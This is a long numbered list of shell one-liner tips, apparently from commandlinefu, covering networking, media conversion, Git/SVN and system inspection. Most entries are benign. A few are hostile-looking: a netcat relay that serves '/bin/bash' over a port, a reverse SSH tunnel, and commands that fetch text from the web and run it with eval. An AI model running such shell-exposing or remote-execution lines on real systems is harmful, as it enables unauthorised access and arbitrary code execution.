  4963. for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
  4964.  
  4965. # Who has the most Apache connections.
  4966. netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
  4967.  
  4968. # List top 20 IP from which TCP connection is in SYN_RECV state
  4969. netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
  4970.  
  4971. # List all execs in $PATH, usefull for grepping the resulting list
  4972. find ${PATH//:/ } -executable -type f -printf "%f\n"
  4973.  
  4974. # Displays process tree of all running processes
  4975. pstree -Gap
  4976.  
  4977. # Print trending topics on Twitter
  4978. wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
  4979.  
  4980. # Show sorted list of files with sizes more than 1MB in the current dir
  4981. du -hs * | grep '^[0-9,]*[MG]' | sort -rn
  4982.  
  4983. # Extract audio stream from an AVI file using mencoder
  4984. mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
  4985.  
  4986. # display ip address
  4987. curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
  4988.  
  4989. # Show what a given user has open using lsof
  4990. lsof -u www-data
  4991.  
  4992. # Archive a directory with datestamp on filename
  4993. tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
  4994.  
  4995. # Counts number of lines
  4996. find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
  4997.  
  4998. # output the contents of a file removing any empty lines including lines which contain only spaces or tabs.
  4999. sed -e '/^[<space><tab>]*$/d' somefile
  5000.  
  5001. # run command on a group of nodes in parallel
  5002. echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
  5003.  
  5004.  
  5005.  
  5006. # backup directory. (for bash)
  5007. cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
  5008.  
  5009. # show all programs connected or listening on a network port
  5010. alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
  5011.  
  5012. # date offset calculations
  5013. date --date="1 fortnight ago"
  5014.  
  5015. # Live filter a log file using grep and show x# of lines above and below
  5016. tail -f <filename> | grep -C <# of lines to show above and below> <text>
  5017.  
  5018. # rot13 simple substitution cipher via command line
  5019. alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
  5020.  
  5021. # setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine.
  5022. ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
  5023.  
  5024. # uniq for unsorted data
  5025. awk '!_[$0]++{print}'
  5026.  
  5027. # Get MX records for a domain
  5028. dig foo.org mx +short
  5029.  
  5030. # Show Shared Library Mappings
  5031. ldconfig -p
  5032.  
  5033. # Show number of NIC's, ports per nic and PCI address
  5034. lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
  5035.  
  5036. # locate bin, src, and man file for a command
  5037. whereis somecommand
  5038.  
  5039. # Display all readline binding that use CTRL
  5040. bind -p | grep -F "\C"
  5041.  
  5042. # send tweets to twitter (and get user details)
  5043. curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
  5044.  
  5045. # Display summary of git commit ids and messages for a given branch
  5046. git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
  5047.  
  5048. # Synchronise a file from a remote server
  5049. rsync -av -e ssh user@host:/path/to/file.txt .
  5050.  
  5051. # Choose from a nice graphical menu which DI.FM radio station to play
  5052. zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
  5053.  
  5054. # Jump to line X in file in Nano.
  5055. nano +X foo
  5056.  
  5057. # see the TIME_WAIT and ESTABLISHED nums of the network
  5058. netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
  5059.  
  5060. # create a .avi with many .jpg
  5061. mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
  5062.  
  5063. # Get the list of root nameservers for a given TLD
  5064. dig +short NS org.
  5065.  
  5066. # SH
  5067. shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
  5068.  
  5069. # convert ascii string to hex
  5070. echo $ascii | perl -ne 'printf "%x", ord for split //'
  5071.  
  5072. # Grab a list of MP3s out of Firefox's cache
  5073. find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
  5074.  
  5075. # Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes
  5076. APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
  5077.  
  5078. # Find all files currently open in Vim and/or gVim
  5079. vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
  5080.  
  5081.  
  5082.  
  5083. # pimp text output e.g. "Linux rocks!" to look nice
  5084. figlet Linux rocks!
  5085.  
  5086. # pimp text output e.g. "Linux rocks!" to look nice
  5087. cowsay Linux rocks!
  5088.  
  5089. # make directory with current date
  5090. mkdir $(date +%Y_%m_%d)
  5091.  
  5092. # Combining text files into one file
  5093. cat *.txt >output.txt
  5094.  
  5095. # Sort installed rpms in alphabetic order with their size.
  5096. rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
  5097.  
  5098. # Sort installed rpms by decreasing size.
  5099. rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
  5100.  
  5101. # Print a row of characters across the terminal
  5102. printf -v row "%${COLUMNS}s"; echo ${row// /#}
  5103.  
  5104. # Scan for nearby Bluetooth devices.
  5105. hcitool scan
  5106.  
  5107. # Get Unique Hostnames from Apache Config Files
  5108. cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
  5109.  
  5110. # Add .gitignore files to all empty directories recursively from your current directory
  5111. find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
  5112.  
  5113. # Which Twitter user are you?
  5114. curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
  5115.  
  5116. # check python syntax in vim
  5117. :!pylint -e %
  5118.  
  5119. # From Vim, run current buffer in python
  5120. ! python %
  5121.  
  5122. # Mysql uptime
  5123. mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
  5124.  
  5125. # convert pdf into multiple png files
  5126. gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
  5127.  
  5128. # High resolution video screen recording
  5129. gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" }
  5130.  
  5131. # Capture video of a linux desktop
  5132. ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
  5133.  
  5134. # Query Wikipedia via console over DNS
  5135. mwiki() { dig +short txt "$*".wp.dg.cx; }
  5136.  
  5137. # Updated top ten memory utilizing processes (child/instance aggregation) now with percentages of total RAM
  5138. TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
  5139.  
  5140. # easily find megabyte eating files or directories
  5141. du -hs *|grep M|sort -n
  5142.  
  5143. # Show Directories in the PATH Which does NOT Exist
  5144. ls -d $(echo ${PATH//:/ }) > /dev/null
  5145.  
  5146. # Currency Conversion
  5147. currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
  5148.  
  5149. # Compare prices in euro of the HTC Desire on all the european websites of Expansys.
  5150. for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>&euro; \([0-9]*[,.][0-9]*\).*/\1/g"; done
  5151.  
  5152. # Insert a line for each n lines
  5153. ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
  5154.  
  5155. # Google Translate
  5156. cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd"
  5157.  
  5158.  
  5159.  
  5160. # Pronounce an English word using Merriam-Webster.com
  5161. cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
  5162.  
  5163. # display a one-liner of current nagios exit statuses. great with netcat/irccat
  5164. grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
  5165.  
  5166. # Display a Lissajous curve in text
  5167. ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
  5168.  
  5169. # Convert multiple flac files to mp3
  5170. for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
  5171.  
  5172. # Your name backwards
  5173. espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
  5174.  
  5175. # Fetch the Gateway Ip Address
  5176. ip route list match 0.0.0.0/0 | cut -d " " -f 3
  5177.  
  5178. # determine if a shared library is compiled as 32bit or 64bit
  5179. libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
  5180.  
  5181. # Netcat & Tar
  5182. Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
  5183.  
  5184. # Play music from youtube without download
  5185. url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
  5186.  
  5187. # Lists installed kernels
  5188. ls -1 /lib/modules
  5189.  
  5190. # a function to create a box of '=' characters around a given string.
  5191. box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
  5192.  
  5193. # Change display resolution
  5194. xrandr -s 1280x1024
  5195.  
  5196. # pass the output of some command to a new email in the default email client
  5197. somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
  5198.  
  5199. # Show the command line of a process that use a specific port (ubuntu)
  5200. cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
  5201.  
  5202. # a find and replace within text-based files, for batch text replacement, not using perl
  5203. sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
  5204.  
  5205. # Split a file one piece at a time, when using the split command isn't an option (not enough disk space)
  5206. dd if=inputfile of=split3 bs=16m count=32 skip=64
  5207.  
  5208. # Burn an ISO on the command line.
  5209. cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
  5210.  
  5211. # Find the real procesor speed when you use CPU scaling [cpuspeed]
  5212. awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'
  5213.  
  5214. # Pull Total Memory Usage In Virtual Environment
  5215. ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
  5216.  
  5217. # output your microphone to a remote computer's speaker
  5218. arecord -f dat | ssh -C user@host aplay -f dat
  5219.  
  5220. # View acceptable client certificate CA names asked for during SSL renegotiations
  5221. openssl s_client -connect www.example.com:443 -prexit
  5222.  
  5223. # Remote screenshot
  5224. DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
  5225.  
  5226. # rename all jpg files with a prefix and a counter
  5227. ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
  5228.  
  5229. # scp with compression.
  5230. scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
  5231.  
  5232. # Reverse ssh
  5233. #INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh user@localhost -p 8888#
  5234.  
  5235.  
  5236.  
  5237. # gzip over ssh
  5238. ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
  5239.  
  5240. # ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone
  5241. ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4
  5242.  
  5243. # convert a line to a space
  5244. echo $(cat file)
  5245.  
  5246. # Shell function to create a menu of items which may be inserted into the X paste buffer.
  5247. smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
  5248.  
  5249. # OpenDns IP update via curl
  5250. curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
  5251.  
  5252. # Determine space taken by files of certain type
  5253. find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
  5254.  
  5255. # show todays svn log
  5256. svn log --revision {`date +%Y-%m-%d`}:HEAD
  5257.  
  5258. # Speed up the keyboard repeat rate in X server
  5259. xset r rate 250 120
  5260.  
  5261. # Configuring proxy client on terminal without leaving password on screen or in bash_history
  5262. set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }
  5263.  
  5264. # Dump sqlite database to plain text format
  5265. echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
  5266.  
  5267. # Get current Xorg resolution via xrandr
  5268. $ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
  5269.  
  5270. # Vlc ncurses mode browsing local directorys.
  5271. vlc -I ncurses <MEDIA_DIR>
  5272.  
  5273. # How to stop MAC Address via IPTables
  5274. -A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
  5275.  
  5276. # grab all commandlinefu shell functions into a single file, suitable for sourcing.
  5277. curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
  5278.  
  5279. # Validating a file with checksum
  5280. md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
  5281.  
  5282. # Netcat Relay
  5283. nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;## nc -l $IamTargetHost 1234 -e /bin/bash;
  5284.  
  5285. # add all files not under version control to repository
  5286. svn add . --force
  5287.  
  5288. # Block all IP addresses and domains that have attempted brute force SSH login to computer
  5289. /usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
  5290.  
  5291. # Find the fastest server to disable comcast's DNS hijacking
  5292. sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
  5293.  
  5294. # kde4 lock screen command
  5295. qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
  5296.  
  5297. # Fast tape rewind
  5298. < /dev/rmt/0cbn
  5299.  
  5300. # Find unused IPs on a given subnet
  5301. fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
  5302.  
  5303. # Print the contents of $VARIABLE, six words at a time
  5304. echo $VARIABLE | xargs -d'\40' -n 6 echo
  5305.  
  5306. # change dinosaur poop into gold
  5307. sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http
  5308.  
  5309. # This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs.
  5310. curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"...............
  5311.  
  5312.  
  5313.  
  5314. # A command to post a message and an auto-shortened link to Twitter. The link shortening service is provide by TinyURL.
  5315. curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null
  5316.  
  5317. # Watch the size of a directory using figlet
  5318. watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
  5319.  
  5320. # prints line numbers
  5321. ls | sed "/^/=" | sed "N;s/\n/. /"
  5322.  
  5323. # Colorful man
  5324. /usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
  5325.  
  5326. # Lists installed kernels
  5327. dpkg --get-selections | grep linux-image
  5328.  
  5329. # Convert PDF to JPEG using Ghostscript
  5330. gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
  5331.  
  5332. # Setup a persistant SSH tunnel w/ pre-shared key authentication
  5333. autossh -f -i /path/to/key -ND local-IP:PORT User@Server
  5334.  
  5335. # Get your public ip
  5336. curl -s http://icanhazip.com/
  5337.  
  5338. # A command line calculator in Perl
  5339. perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
  5340.  
  5341. # Check reverse DNS
  5342. host {checkIp or hostname} [dns server]
  5343.  
  5344. # Slightly better compressed archives
  5345. find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
  5346.  
  5347. # Replace Caps-lock with Control-key
  5348. xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
  5349.  
  5350. # Another Matrix Style Implementation
  5351. echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
  5352.  
  5353. # Create sqlite db and store image
  5354. sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg
  5355.  
  5356. # Tar - Compress by excluding folders
  5357. tar -cvzf arch.tgz $(find /path/dir -not -type d)
  5358.  
  5359. # Write a listing of all directories and files on the computer to a compressed file.
  5360. sudo ls -RFal / | gzip > all_files_list.txt.gz
  5361.  
  5362. # hanukkah colored bash prompt
  5363. export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
  5364.  
  5365. # Analyse compressed Apache access logs for the most commonly requested pages
  5366. zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
  5367.  
  5368. # extract plain text from MS Word docx files
  5369. unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
  5370.  
  5371. # Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
  5372. mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
  5373.  
  5374. # Get your public ip
  5375. curl -s http://sputnick-area.net/ip
  5376.  
  5377. # View a random xkcd comic
  5378. wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
  5379.  
  5380. # recursive search and replace old with new string, inside files
  5381. find . -type f -exec sed -i s/oldstring/newstring/g {} +
  5382.  
  5383. # copy ACL of one file to another using getfacl and setfacl
  5384. getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
  5385.  
  5386. # determine if tcp port is open
  5387. nmap -p 80 hostname
  5388.  
  5389.  
  5390.  
  5391. # prints line numbers
  5392. cat -n
  5393.  
  5394. # Router discovery
  5395. sudo arp-scan 192.168.1.0/24 -interface eth0
  5396.  
  5397. # View the newest xkcd comic.
  5398. wget `lynx --dump http://xkcd.com/|grep png`
  5399.  
  5400. # Strace all signals processes based on a name ( The processes already started... )
  5401. straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
  5402.  
  5403. # Find dead symbolic links
  5404. find . -type l | perl -lne 'print if ! -e'
  5405.  
  5406. # last.fm rss parser
  5407. awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
  5408.  
  5409. # last.fm rss parser
  5410. egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
  5411.  
  5412. # Get names of files in /dev, a USB device is attached to
  5413. ls -la /dev/disk/by-id/usb-*
  5414.  
  5415. # Mount a partition from dd disk image
  5416. mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
  5417.  
  5418. # List all symbolic links in current directory
  5419. \ls -1 | xargs -l readlink
  5420.  
  5421. # remove files and directories with acces time older than a given date
  5422. touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
  5423.  
  5424. # Show sorted list of files with sizes more than 1MB in the current dir
  5425. du | sort -nr | cut -f2- | xargs du -hs
  5426.  
  5427. # exit if another instance is running
  5428. if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
  5429.  
  5430. # Short Information about loaded kernel modules
  5431. lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
  5432.  
  5433. # advanced bash history
  5434. export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
  5435.  
  5436. # convert wav files to ogg
  5437. oggenc *.wav
  5438.  
  5439. # Find files recursively that were updated in the last hour ignoring SVN files and folders.
  5440. find . -mmin -60 -not -path "*svn*" -print|more
  5441.  
  5442. # Decode a MIME message
  5443. munpack file.txt
  5444.  
  5445. # Sort movies by length, longest first
  5446. find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
  5447.  
  5448. # Clean your broken terminal
  5449. reset
  5450.  
  5451. # Create a thumbnail from a video file
  5452. thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
  5453.  
  5454. # geoip information
  5455. GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
  5456.  
  5457. # convert a latex source file (.tex) into opendocument (.odt ) format
  5458. htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
  5459.  
  5460. # List the CPU model name
  5461. grep "model name" /proc/cpuinfo
  5462.  
  5463. # Get your external IP address with a random commandlinefu.com command
  5464. IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
  5465.  
  5466.  
  5467.  
  5468. # Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
  5469. dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
  5470.  
  5471. # Quick notepad
  5472. cat > list -
  5473.  
  5474. # Postpone a command [zsh]
  5475. <alt+q>
  5476.  
  5477. # Counts number of lines (in source code excluding comments)
  5478. find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
  5479.  
  5480. # List your largest installed packages (on Debian/Ubuntu)
  5481. dpigs
  5482.  
  5483. # What is my ip?
  5484. curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
  5485.  
  5486. # grep -v with multiple patterns.
  5487. sed -n '/test/{/error\|critical\|warning/d;p}' somefile
  5488.  
  5489. # Empty a file
  5490. truncate -s0 file
  5491.  
  5492. # Set creation timestamp of a file to the creation timestamp of another
  5493. touch -r "$FILE1" "$FILE2"
  5494.  
  5495. # Commit command to history file immedeately after execution
  5496. PROMPT_COMMAND="history -a"
  5497.  
  5498. # Restore a local drive from the image on remote host via ssh
  5499. ssh user@server 'dd if=sda.img' | dd of=/dev/sda
  5500.  
  5501. # Make directories for and mount all iso files in a folder
  5502. for file in *.iso; do mkdir `basename $file | awk -F. '{print $1}'`; sudo mount -t iso9660 -o loop $file `basename $file | awk -F. '{print $1}'`; done
  5503.  
  5504. # disk space email alert
  5505. [ $(df / | perl -nle '/([0-9]+)%/ && print $1') -gt 90 ] && df -hP | mutt -s "Disk Space Alert -- $(hostname)" admin@example.com
  5506.  
  5507. # Get absolut path to your bash-script
  5508. script_path=$(cd $(dirname $0);pwd)
  5509.  
  5510. # Stop long commands wrapping around and over-writing itself in the Bash shell
  5511. shopt -s checkwinsize
  5512.  
  5513. # download all the presentations from UTOSC2009
  5514. b="http://2009.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
  5515.  
  5516. # Functions to display, save and restore $IFS
  5517. ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
  5518.  
  5519. # Outputs a 10-digit random number
  5520. head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
  5521.  
  5522. # print crontab entries for all the users that actually have a crontab
  5523. for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
  5524.  
  5525. # mysql DB size
  5526. mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;'
  5527.  
  5528. # Force an fsck on reboot
  5529. shutdown -rF now
  5530.  
  5531. # Get a MySQL DB dump from a remote machine
  5532. ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
  5533.  
  5534. # Encrypted archive with openssl and tar
  5535. openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
  5536.  
  5537. # concatenate avi files
  5538. avimerge -o output.avi -i file1.avi file2.avi file3.avi
  5539.  
  5540. # Go get those photos from a Picasa album
  5541. wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i -
  5542.  
  5543.  
  5544.  
  5545. # Disable beep sound from your computer
  5546. echo "blacklist pcspkr"|sudo tee -a /etc/modprobe.d/blacklist.conf
  5547.  
  5548. # limit the cdrom driver to a specified speed
  5549. eject -x 8 /dev/cdrom
  5550.  
  5551. # Randomize lines (opposite of | sort)
  5552. random -f <file>
  5553.  
  5554. # ping a host until it responds, then play a sound, then exit
